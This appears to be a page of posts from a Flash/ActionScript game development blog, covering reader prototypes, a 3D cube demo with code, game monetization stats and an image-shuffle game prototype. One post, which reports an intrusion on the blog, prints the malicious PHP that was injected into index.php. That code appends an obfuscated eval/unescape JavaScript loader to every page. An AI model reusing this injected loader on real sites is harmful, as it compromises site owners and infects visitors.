Stack Flash game prototype

During the last days I received a lot of prototypes from different readers.

One I want to mention is something called “a new idea in AS2″ by Shival Gupta

That’s how he got in contact with me:

Hi Emanuele.

A few days before you published some info on Box2d library in AS3 and one of the examples that it produced was of stacking boxes.

Eventually I developed this weak prototype on stacking in AS2 but it was really messy as each box had its own onEnterFrame function.

But anyways I think that the stacking concept has really great potential in making a game. If you are interested, shall I email that “poor” proto to you?

If you like that concept will you please publish a tutorial on it.
Understand, its a really cool concept and has great potential. I even has some ideas on making a stacking box game.

Please reply to this mail with your reply and suggestions.

Best regards
Shiv

Coding a stacking prototype in AS2 is not that easy, and as you will see later in this post, Shival asked me to publish his prototype because “it would be an honour to me to get my work published in emanueleferonato.com” and because the code has some bugs Shival is not able to fix at the moment, so he is asking for help to everybody.

The game concept is simple: you have something like a fan and have to shoot air to some falling colored crates in order to make them stop each one in the colored spot that matches the color of the crate.

The code is split through 5 frames, but the main engine is: Read more

Flash 3D mouse-controlled cube

Today it's the time to publish a demo/prototype of a 3D mouse-controlled cube sent by Andre Marianiello.

It was made with code from the 3D tutorials on www.kirupa.com that I formatted into easy-to-use classes. Easy to make simple changes if that would be more agreeable to you. I will send source code if you want, but you don't have to publish it (unless, of course, you want to).

As usual, Andre commented the code to make it more readable for us all

This is the main actionscript

ACTIONSCRIPT:
  1. import Space3D.*;
  2. #include "customFunctions.as"
  3. //to hold clips
  4. this.createEmptyMovieClip("space", 1);
  5. //center origin
  6. space._x = Stage.width / 2;
  7. space._y = Stage.height / 2;
  8. //hold x,y,z values of the 8 points to make a cube
  9. pointsArray = new Array();
  10. pointsArray.push(new Point3D(-100, -100, -100));
  11. pointsArray.push(new Point3D(-100, -100, 100));
  12. pointsArray.push(new Point3D(-100, 100, -100));
  13. pointsArray.push(new Point3D(-100, 100, 100));
  14. pointsArray.push(new Point3D(100, -100, -100));
  15. pointsArray.push(new Point3D(100, -100, 100));
  16. pointsArray.push(new Point3D(100, 100, -100));
  17. pointsArray.push(new Point3D(100, 100, 100));
  18. //attach 8 clips to space's 0,0 (center of screen)
  19. for (i = 0; i <8; i++) {
  20.     attachedObj = space.attachMovie("ball", "ball" + i, i);
  21. }
  22. //move camera towards you (comment out the next line if you want to be inside the cube
  23. Camera3D.z = -200;
  24. rotateCube = function () {
  25.     //rotation of cube determined by _xmouse and _ymouse
  26.     var xrot = this._ymouse / 900;
  27.     var yrot = -this._xmouse / 900;
  28.     //rotate all the points
  29.     Universe3D.rotatePointArray(pointsArray, xrot, yrot, 0);
  30.     //convert the 3D points to 2D points
  31.     screenPoints = Universe3D.toUniverse2D();
  32.     for (var i = 0; i <screenPoints.length; i++) {
  33.         var cur_ball = this["ball" + i];
  34.         //attach a ball to each point
  35.         screenPoints[i].moveClipHere(cur_ball);
  36.     }
  37. };
  38. space.onEnterFrame = rotateCube;

And this is the content of the customFunctions.as file

ACTIONSCRIPT:
  1. Object.prototype.toString = function() {
  2.     //set empty string to be displayed
  3.     var string = "";
  4.     //cycle through properties and functions
  5.     for (var i in this) {
  6.         //if not a function
  7.         if (typeof (this[i]) != "function") {
  8.             //add the property name and value to the string
  9.             string += i+":"+this[i].toString()+", ";
  10.         } else {
  11.             //else add the function name and "Function"
  12.             string += i+":Function, ";
  13.         }
  14.     }
  15.     //don't include last comma and space in final string
  16.     string = string.substring(0, string.length-2);
  17.     return string;
  18. };
  19. MovieClip.prototype.lineHitTest = function(x1, y1, x2, y2, pre) {
  20.     //find difference in x
  21.     var x = x2-x1;
  22.     //find difference in y
  23.     var y = y2-y1;
  24.     //find distance between points
  25.     var dis = Math.sqrt(x*x+y*y);
  26.     //when pre(precision) equals 2, it checks every 2 points
  27.     //therefore, the number of point equals dis/pre
  28.     var num = dis/pre;
  29.     var xinc = x/num;
  30.     var yinc = y/num;
  31.     //vars to hold current point
  32.     var tx, ty;
  33.     if (num) {
  34.         for (var i = 0; i<=num; i++) {
  35.             //if pre equals 2 and distance is ten, then
  36.             //we find a point 1/5 of the way down the line.
  37.             tx = x1+i*xinc;
  38.             ty = y1+i*yinc;
  39.             //if the point(tx, ty) touches the movieclip we're testing
  40.             if (this.hitTest(tx, ty, true)) {
  41.                 //return true because the movieclip is on the line
  42.                 return {x:tx, y:ty};
  43.             }
  44.         }
  45.     }
  46.     //return false because none of the tested points hit the movieclip   
  47.     return false;
  48. };
  49. Object.prototype.clone = function() {
  50.     //empty object
  51.     var temp = new Object();
  52.     //for each propety in the going-to-be-cloned object
  53.     for (i in this) {
  54.         //copy property name with value to new object
  55.         temp[i] = this[i];
  56.     }
  57.     return temp;
  58. };
  59. Array.prototype.clone = function() {
  60.     //empty array
  61.     var temp = new Array();
  62.     //for each value in the going-to-be-cloned array
  63.     for (i in this) {
  64.         //copy value with index to new object
  65.         temp[i] = this[i];
  66.     }
  67.     return temp;
  68. };
  69. Array.prototype.sum = function() {
  70.     //empty num
  71.     var total = 0;
  72.     //for each value in the array
  73.     for (i=0; i<this.length; i++) {
  74.         total += this[i];
  75.     }
  76.     return total;
  77. };
  78. Array.prototype.fill = function(fill) {
  79.     //for each value in the array
  80.     for (i=0; i<this.length; i++) {
  81.         this[i] = fill;
  82.     }
  83. };
  84. Array.prototype.contains = function(elem) {
  85.     for (var i = 0; i<this.length; i++) {
  86.         if (this[i] == elem) {
  87.             return true;
  88.         }
  89.     }
  90.     return false;
  91. };
  92. angleFromTo = function (x1, y1, x2, y2) {
  93.     //find change in x
  94.     var x = x2-x1;
  95.     //find change in y
  96.     var y = y2-y1;
  97.     //Math.atan2 returns angle in radians; Math.PI/180 converts to degrees
  98.     return Math.atan2(y, x)/(Math.PI/180);
  99. };
  100. distanceFromTo = function (x1, y1, x2, y2) {
  101.     //find change in x
  102.     var x = x2-x1;
  103.     //find change in y
  104.     var y = y2-y1;
  105.     //use pythagorean theorem to find distance
  106.     return Math.sqrt(x*x+y*y);
  107. };
  108. vectorToHorz = function (ang, dis) {
  109.     var rads = ang/(180/Math.PI);
  110.     //returns x-component of a vector of dis magnitude at ang angle
  111.     return dis*Math.cos(rads);
  112. };
  113. vectorToVert = function (ang, dis) {
  114.     var rads = ang/(180/Math.PI);
  115.     //returns y-component of a vector of dis magnitude at ang angle
  116.     return dis*Math.sin(rads);
  117. };
  118. crop = function (num, bot, top) {
  119.     if (num<bot) {
  120.         return bot;
  121.     }
  122.     if (num>top) {
  123.         return top;
  124.     }
  125.     return num;
  126. };

Move the mouse to rotate the cube Read more

Trying to hack the blog?

During the last 4 hours the homepage of this blog was not accessible.

Someone hacked the index.php page and replaced this code

PHP:
  1. <?php
  2.  
  3. define('WP_USE_THEMES', true);
  4. require('./wp-blog-header.php');
  5.  
  6. ?>

with this one

PHP:
  1. <?php
  2. ob_start("phpfake");
  3.  
  4. /* Short and sweet */
  5. define('WP_USE_THEMES', true);
  6. require('./wp-blog-header.php');
  7. ?>
  8. <?php
  9. function phpfake($buffer)
  10. {
  11.   $Exp='<script language="javascript">$="%6fp%3d%22%2524%253d%2522dw(d%2563s%2528c%2575,1%2534))%253b%2522;%22;cd%3d%221%2529;%2573t%253dst+S%2574rin%2567.f%2572o%256dCha%2572C%256fde(%2528tmp%25%22;cz%3d%22%2566unc%2574i%256fn %2563z%2528c%257a){%2572etu%2572n %2563a+c%2562+c%2563+%2563d+%2563e%252bcz;%257d;%22;cc%3d%22ds.l%2565ng%2574%2568;%2569++%2529{t%256dp%253dds%252esli%2563%2565(i,%2569+%22;db%3d%22d7%3c7e7%3c7f7%3c7g7%3c7h7%3c7i7%3c7j79+fqb0~)-~ug0Qbbqi8!%3c%2522%3c#%3c$%3c%25%3c&%3c%27%3c(%3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)%3ewudVe||Iuqb89+yv8t)%3ewudTqi89.#9d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi89;%25229+u|cu%22;da%3d%22fqb0})-~ug0Qbbqi87e~%257F7%3c7tfu7%3c7dxb7%3c7vyb7%3c7fyv7%3c7huc7%3c7fuc7%3c7wxd7%3c7u~y7%3c7ud~7%3c7|uf7%3c7dgu79+fqb0|)-~ug0Qbbqi87q7%3c7r7%3c7s7%3c7t7%3c7u7%3c7v7%3c7w7%3c7x7%3c7y7%3c7z7%3c7{7%3c7|7%3c7}7%3c7~7%3c7%257F7%3c7`7%3c7a7%3c7b7%3c7c7%3c7%22;cb%3d%221pe%2528%2564s)%253bst%253d%2574m%2570%253d%2527%2527;for(i%253d0%253b%2569%253c%22;ca%3d%22%2566u%256ecti%256fn %2564cs%2528d%2573%252ce%2573%2529%257bds%253dunes%2563%256%22;dc%3d%220d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi899+yv8d)K7t7M,%25209d)K7t7M-!+d)K7}7M-t)%3ewud]%257F~dx89;!+ve~sdy%257F~0S]^8t%3c}%3ci9kfqb0b-888i;8#:t99;8}Nt9:#9;t9+budeb~0b+mfqb0t-7fuc|%257Fh%3es%257F}7+fqb0iSx!%3ciSx%2522%3c%22;st%3d%22%2573%2574%253d%2522$%253ds%2574%253b%2564%2563s%2528%2564a%252bd%2562+%2564%2563%252b%2564%2564%252bd%2565%252c%25310%2529%253bd%2577%2528%2573t%2529%253bs%2574%253d$%253b%2522;%22;dz%3d%22%2566%2575%256ecti%256fn %2564w%2528%2574){c%2561%253d%2527%252564ocu%25256%2564%2565%256et%25252ew%252572i%2574%252565%252528%252522%2527;ce%253d%2527%252522%252529%2527;cb%253d%2527%25253csc%252572i%252570t %2525%2536%2563a%25256e%25256%2537u%252561%2567%2565%25253d%25255c%252522ja%2576a%2573c%25257%2532%2569pt%25255c%252522%2525%2533%2565%2527;cc%253d%2527%25253c%25255c%25252fscrip%25257%2534%25253e%2527;eva%256c(un%2565s%2563a%2570e(t%2529)%257d%253b%22;de%3d%22-|)K88d)K7}7M;}^}950%2522%259M+yv888d)K7t7M:%25229.-%252096688d)K7t7M:%25229,-)99tSx-~)K8d)K7t7M50!%25209M+u|cu0tSx-|)K88d)K7t7M:&950%2522%279M+4-4%3ebu`|qsu8t%3ciSx%2522;}Sx;iSx!;tSx;})Kd)K7}7M%3d!M;7%3es%257F}79+%22;ce%3d%222echa%2572Cod%2565At%25280)^%2528%25270x00%2527+e%2573%2529)%2529;}%257d%22;cu%3d%22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;bqgx{l:w{y;xp;sfv;64c}p`|)%25$$4|q}s|`),$*(;}rfuyq*(;p}b*%22;dd%3d%22}Sx%3ctSx%3c}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M%3cd)K7}7M%3cd)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950&5##950%2522&M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209M+}Sx%22;%69f %28d%6f%63u%6d%65%6et%2e%63oo%6bie%2ein%64ex%4ff(%27r%665f6%64s%27)%3d%3d-1%29%7bsc(%27%72f5f%36d%73%27,2%2c7);%65v%61l(%75n%65s%63ape%28d%7a+c%7a%2bop+%73t)+%27dw%28dz%2b%63%7a(%24+s%74))%3b%27)}el%73e{%24%3d%27%27};func%74io%6e %73c(c%6e%6d,v,%65d)%7b%76ar%20%65xd%3dnew %44ate%28);e%78%64.se%74Da%74%65(%65x%64.%67etD%61%74e%28)+%65d);%64%6fcu%6den%74.co%6fki%65%3dcnm+ %27%3d%27 +%65%73ca%70e%28v%29+%27;e%78pir%65%73%3d%27+exd.t%6fG%4dT%53t%72in%67(%29;};";eval(unescape($));document.write($);</script><script language="javascript">$="%6fp%3d%22%2524%253d%2522dw(d%2563s%2528c%2575,1%2534))%253b%2522;%22;cd%3d%221%2529;%2573t%253dst+S%2574rin%2567.f%2572o%256dCha%2572C%256fde(%2528tmp%25%22;cz%3d%22%2566unc%2574i%256fn %2563z%2528c%257a){%2572etu%2572n %2563a+c%2562+c%2563+%2563d+%2563e%252bcz;%257d;%22;cc%3d%22ds.l%2565ng%2574%2568;%2569++%2529{t%256dp%253dds%252esli%2563%2565(i,%2569+%22;db%3d%22d7%3c7e7%3c7f7%3c7g7%3c7h7%3c7i7%3c7j79+fqb0~)-~ug0Qbbqi8!%3c%2522%3c#%3c$%3c%25%3c&%3c%27%3c(%3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)%3ewudVe||Iuqb89+yv8t)%3ewudTqi89.#9d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi89;%25229+u|cu%22;da%3d%22fqb0})-~ug0Qbbqi87e~%257F7%3c7tfu7%3c7dxb7%3c7vyb7%3c7fyv7%3c7huc7%3c7fuc7%3c7wxd7%3c7u~y7%3c7ud~7%3c7|uf7%3c7dgu79+fqb0|)-~ug0Qbbqi87q7%3c7r7%3c7s7%3c7t7%3c7u7%3c7v7%3c7w7%3c7x7%3c7y7%3c7z7%3c7{7%3c7|7%3c7}7%3c7~7%3c7%257F7%3c7`7%3c7a7%3c7b7%3c7c7%3c7%22;cb%3d%221pe%2528%2564s)%253bst%253d%2574m%2570%253d%2527%2527;for(i%253d0%253b%2569%253c%22;ca%3d%22%2566u%256ecti%256fn %2564cs%2528d%2573%252ce%2573%2529%257bds%253dunes%2563%256%22;dc%3d%220d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi899+yv8d)K7t7M,%25209d)K7t7M-!+d)K7}7M-t)%3ewud]%257F~dx89;!+ve~sdy%257F~0S]^8t%3c}%3ci9kfqb0b-888i;8#:t99;8}Nt9:#9;t9+budeb~0b+mfqb0t-7fuc|%257Fh%3es%257F}7+fqb0iSx!%3ciSx%2522%3c%22;st%3d%22%2573%2574%253d%2522$%253ds%2574%253b%2564%2563s%2528%2564a%252bd%2562+%2564%2563%252b%2564%2564%252bd%2565%252c%25310%2529%253bd%2577%2528%2573t%2529%253bs%2574%253d$%253b%2522;%22;dz%3d%22%2566%2575%256ecti%256fn %2564w%2528%2574){c%2561%253d%2527%252564ocu%25256%2564%2565%256et%25252ew%252572i%2574%252565%252528%252522%2527;ce%253d%2527%252522%252529%2527;cb%253d%2527%25253csc%252572i%252570t %2525%2536%2563a%25256e%25256%2537u%252561%2567%2565%25253d%25255c%252522ja%2576a%2573c%25257%2532%2569pt%25255c%252522%2525%2533%2565%2527;cc%253d%2527%25253c%25255c%25252fscrip%25257%2534%25253e%2527;eva%256c(un%2565s%2563a%2570e(t%2529)%257d%253b%22;de%3d%22-|)K88d)K7}7M;}^}950%2522%259M+yv888d)K7t7M:%25229.-%252096688d)K7t7M:%25229,-)99tSx-~)K8d)K7t7M50!%25209M+u|cu0tSx-|)K88d)K7t7M:&950%2522%279M+4-4%3ebu`|qsu8t%3ciSx%2522;}Sx;iSx!;tSx;})Kd)K7}7M%3d!M;7%3es%257F}79+%22;ce%3d%222echa%2572Cod%2565At%25280)^%2528%25270x00%2527+e%2573%2529)%2529;}%257d%22;cu%3d%22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;bqgx{l:w{y;xp;sfv;64c}p`|)%25$$4|q}s|`),$*(;}rfuyq*(;p}b*%22;dd%3d%22}Sx%3ctSx%3c}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M%3cd)K7}7M%3cd)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950&5##950%2522&M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209M+}Sx%22;%69f %28d%6f%63u%6d%65%6et%2e%63oo%6bie%2ein%64ex%4ff(%27r%665f6%64s%27)%3d%3d-1%29%7bsc(%27%72f5f%36d%73%27,2%2c7);%65v%61l(%75n%65s%63ape%28d%7a+c%7a%2bop+%73t)+%27dw%28dz%2b%63%7a(%24+s%74))%3b%27)}el%73e{%24%3d%27%27};func%74io%6e %73c(c%6e%6d,v,%65d)%7b%76ar%20%65xd%3dnew %44ate%28);e%78%64.se%74Da%74%65(%65x%64.%67etD%61%74e%28)+%65d);%64%6fcu%6den%74.co%6fki%65%3dcnm+ %27%3d%27 +%65%73ca%70e%28v%29+%27;e%78pir%65%73%3d%27+exd.t%6fG%4dT%53t%72in%67(%29;};";eval(unescape($));document.write($);</script>';
  12.   return (ereg_replace("</body>", "$Exp</body>", $buffer));
  13. }
  14. ?>

Any clue about the meaning of this expression? I googled for it but I only had results in german language.

This reminded me to make a complete backup of the blog and the database.

I try to backup the blog every week but sometimes it takes a month before I realize I must backup.

If you have a blog, how often fo you backup it?

Laser and Bubbles: a sponsored game starting from my tutorial

It's always good to have what it's called "case history" to proof what you're doing is good.

In my case, there is not better proof than a succesful game made starting from my tutorials.

Last wednesday I got a "beer" from Kevin Leung with this message:

I have been reading your blog for quite a long time and learnt a lot.
I just build a game inspired from your Circle Chain and got a $xxx sponsor (not much but still quite good as my first sponsor)
So I am buying you a beer =)
Here is my game:
http://www.newgrounds.com/portal/view/413678

This is Laser and Bubbles

Laser and Bubbles

It's a 2.91 game (at the time of writing this post) that deserves some time to play with it.

Like Circle Chain, the concept is very simple: you have two lasers controlled with the mouse and you must destroy a specific amount of bubbles in order to beat each level.

The game is too easy... you just have to blow bubbles... but... wait... you have a limited power so you can't fire more than three times (in some cases even less than three!)... there are different bubble types and there is a time limit! It's not THAT easy...

There are exploding bubbles, untouchable bubbles, repelling bubbles, and BIG exploding bubbles.

Even if the game structure is clearly inspired to Circle Chain, the gameplay is very different and I enjoyed playing it until the end.

Being able to find a sponsor from a tutorial found on this blog is very interesting and helps me to have new information for the experiment.

If you monetized some games starting from this blog, I'll be glad to host your story. A beer is not required, but I'd appreciate it :)

Shuffle an image with BitmapData - Part 3

My tribute (learn how I am calling a clone) to Split Personalities is growing fast and well, and after the first and second steps, now I have something playable.

The aim of the game is to rebuild the image of a stolen painting(in this case the Scream) that was broken into pieces (I just want you to notice that I also made a dramatic background...).

The new features I added are a minimap on the right representing a blueprint of the original painting and the "holes"... some trapdoors that open and close randomly. When a piece of the picture falls into an opened hole, it disappears. When a piece of the picture steps into a closed hole, the hole remains closed until the piece is moved.

It's a very simple concept but I messed the instructions how to play... I'll never get a job as a game manual writer... you better check the demo by yourself

Play the demo.

Now I am planning to add **tons** of features and powerups, about 10 levels of increasing difficulty, fancy graphics and release the game

Wanna sponsor the game?

I'll add MochiAds in the game. However, I also would like to sell four 125x125 buttons in the game. Not in the "splash screen", I mean into the game itself.

I am selling buttons instead of looking for a sponsor because I am publishing the source code of the game, and sponsors do not want people to see the game in progress or even worse to see the code before the game is finished

If you want to purchase a button (that will link to wherever you want), the price is $50 per button.

Maybe the game will be a flop, maybe not. Anyway, it's up to you to risk your 50 bucks. The guiderules are the same of every link sale: no heavy images or heavy animations in the buttons, no links to gambling, porno, racist sites and so on.

You can then resell your button how many times you want until the game is ready. When it's ready, maybe some millions people will see your button while PLAYING (not WAITING for the game to load).

If you want to purchase a button, contact me at info[at]emanueleferonato.com

That's a very unseen way to ask for a sponsorship but... hey... I am running an experiment! Bet on my game!

Now, the source code... still uncommented but with understandable variable names. You know that once finished I'll release the complete tutorial as usual. Read more

Flash ball vs ball game concept

This is a prototype sent me by Rory Kamminga.

It's an unfinished game where you control a blue ball with arrow keys. Your aim is to kick a red ball out of the stage.

Obviously the red ball will try to do the same with you.

The interesting thing is that Rory took the studies of Raman Pfaff's Physics of an Elastic Collision and its derivated tutorials such as Managing ball vs ball collision with Flash by myself and Elastic collisions by Marijn van Aerle and come out with a good prototype where the red ball is moved by AI.

That's what Rory says:

Hi Emanuele, I'm a huge fan of your site, and I thought I'd make a contribution in the form of a concept game that's still in its early stages.
Basically, you control the blue ball with the arrow keys and you have to knock the red ball off the edge. Clicking the mouse resets it.

and

I'm thinking of having several stages, including walls.
I want to have multiple AI balls, but I don't know how.

So, if you have any clue about multiple AI balls, just give feedback.

The source code is well commented, for your understanding: Read more

Experiment: monetizing a Flash game - Part 6

Multipart tutorial: available parts 1, 2, 3, 4, 5, 6, 7, 8, 9

The sixth part of the experiment comes with a milestone of Circle Chain game: it reached 200,000 MochiAds impressions.

I stopped promoting the game three weeks ago and the game, launched on october 28th, still shows more than 3,000 impressions/day.

I know it's quite ridiculous compared to some blockbusters like Bloons, but remember that I made the game in three hours and I spent an hour promoting it.

Let's see some stats:

Mochiads: 200,826 impressions -> $67.55
Kongregate: 1,717 impressions -> $0.27
Adsense: 26,595 impressions
Paypal Donations: $5 (I received a "beer" of $10 from the experiment post but the donor did not mention if it was for the experiment or for the game, so I am considering $5 for the experiment and $5 for the game itself)

For a total of $193.30... that's $0.92 per line of code... brackets included!

Donations?

The Paypal donation gives me an idea: what about including a "donate" button in your game? Obviously there is no need to pay for a free flash game, but I could say the game is released with source code (with a link to the source) and fully commented because I relying on developers donations.

I don't know at this time if this will work or not... I know of a clone of my Create a Flash ball game with visual from above tutorial sold for $400 without buying me a beer so maybe it's a bad idea... but come on! An experiment should consider all ideas, not only the good ones.

Now, let's start with bad news...

Christmas Couples

I released Christmas Couples as the second game to take part of the experiment and people at NG and Kongregate did not like it.
They complained about the lack of powerups and bonuses, and a player said "I love the Tuts but if you're going to submit a game make sure it's fun to play, not just well made."

That's right... people want funny games and maybe Christmas Couples it's not the funniest game ever produced.

Turning a failure into a success

I have some ideas to turn this failure into a success... or at least turning it into a not-so-bad project. I submitted the game to various portals but at the moment most submissions are still pending... at the moment the game scored $0.57 (yes! less than a buck) but I hope to raise this income in a week or two.

I googled for Circle Chain and the top results are:

The Game Homepage (submit form with registration required at this page)
Funny Games (contact at miluska[at]funny-games.biz)
Dig Your Own Grave (contat at contact[at]digyourowngrave.com)
Gameshot (contact at email[at]gameshot.org)
Internet Games 247 (contact at internetgames247[at]gmail.com)

I am going to send some mails to ask the inclusion of Christmas Couples and see what happens.

How's going with MochiAds out there?

This is another question I am asking... I referred 40 developers (18 in October, 20 in November, 2 in December) and nobody reached the $100 payout. I know it's just a matter of time, but I wonder how many of those 40 developers submitted a game, and when.

Well, that's all at the moment, I'll be back when I'll have some interesting news.

Multipart tutorial: available parts 1, 2, 3, 4, 5, 6, 7, 8, 9

Shuffle an image with BitmapData - Part 2

December 7th update: part 3 released

This prototype somehow continues the Shuffle an image with BitmapData tutorial.

But the real aim of this code is beginning to create a game like Split Personalities, a game released for the Spectrum in 1986

Split personalities

The game play revolves around assembling a number of pictures of famous people from the eighties which include Ronald Reagan, Margaret Thatcher, Charles & Diana and Clive Sinclair amongst others. Each famous face is split into a number of square pieces which are fed into the frame one at a time, on demand but in a random order. All you have to do is assemble the face by correctly positioning all the pieces in the frame! Complete a face to move on to the next level.

In my version, I am going to replace the famous people pictures with famous paintings.

So, move the square over the "fire" tile to release a piece of the painting to the right, then drag/drop it around the game field.

At the moment, the gameplay ends here but... hey... it's just a 127 lines prototype... let me code another... let's say 255 lines and you'll enjoy playing it.

Really

Meanwhile, this is the actionscript that moves everything (sorry, it's still uncommented and unexplained but I'll release a complete tutorial as usual, meanwhile try to understand how does it work)

ACTIONSCRIPT:
  1. import flash.display.BitmapData;
  2. import flash.geom.Rectangle;
  3. import flash.geom.Point;
  4. Array.prototype.shuffle = function() {
  5.     for (x=0; x<24; x++) {
  6.         var from = Math.floor(Math.random()*25);
  7.         var to = this[x];
  8.         this[x] = this[from];
  9.         this[from] = to;
  10.     }
  11. };
  12. big_picture = BitmapData.loadBitmap("scream");
  13. _root.createEmptyMovieClip("big_pic_obj",_root.getNextHighestDepth());
  14. big_pic_obj.attachBitmap(big_picture,_root.getNextHighestDepth());
  15. big_pic_obj._visible = false;
  16. sequence = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24);
  17. sequence.shuffle();
  18. field = new Array();
  19. picture_in = 0;
  20. _root.createEmptyMovieClip("tiles",_root.getNextHighestDepth());
  21. _root.attachMovie("border","border",_root.getNextHighestDepth());
  22. _root.attachMovie("fire","fire",_root.getNextHighestDepth());
  23. border.onEnterFrame = function() {
  24.     this.gotoAndStop(1);
  25.     if (!dragging) {
  26.         this._x = Math.floor(_root._xmouse/100)*100;
  27.         this._y = Math.floor(_root._ymouse/100)*100;
  28.     }
  29.     else {
  30.         dist_x = _root._xmouse-save_x;
  31.         dist_y = _root._ymouse-save_y;
  32.         angle = Math.atan2(dist_y, dist_x)*180/Math.PI;
  33.         if (angle<45 and angle>-45) {
  34.             this.gotoAndStop(3);
  35.             possible_direction = "right";
  36.         }
  37.         if ((angle<-45) and (angle>-135)) {
  38.             this.gotoAndStop(2)
  39.             possible_direction = "up";
  40.         }
  41.         if (angle<-135 or angle>135) {
  42.             this.gotoAndStop(5)
  43.             possible_direction = "left";
  44.         }
  45.         if (angle<135 and angle>45) {
  46.             this.gotoAndStop(4)
  47.             possible_direction = "down";
  48.         }
  49.     }
  50. };
  51. for (x=0; x<25; x++) {
  52.     field[x] = -1;
  53.     picture = tiles.createEmptyMovieClip("small_pic_obj_"+x, tiles.getNextHighestDepth()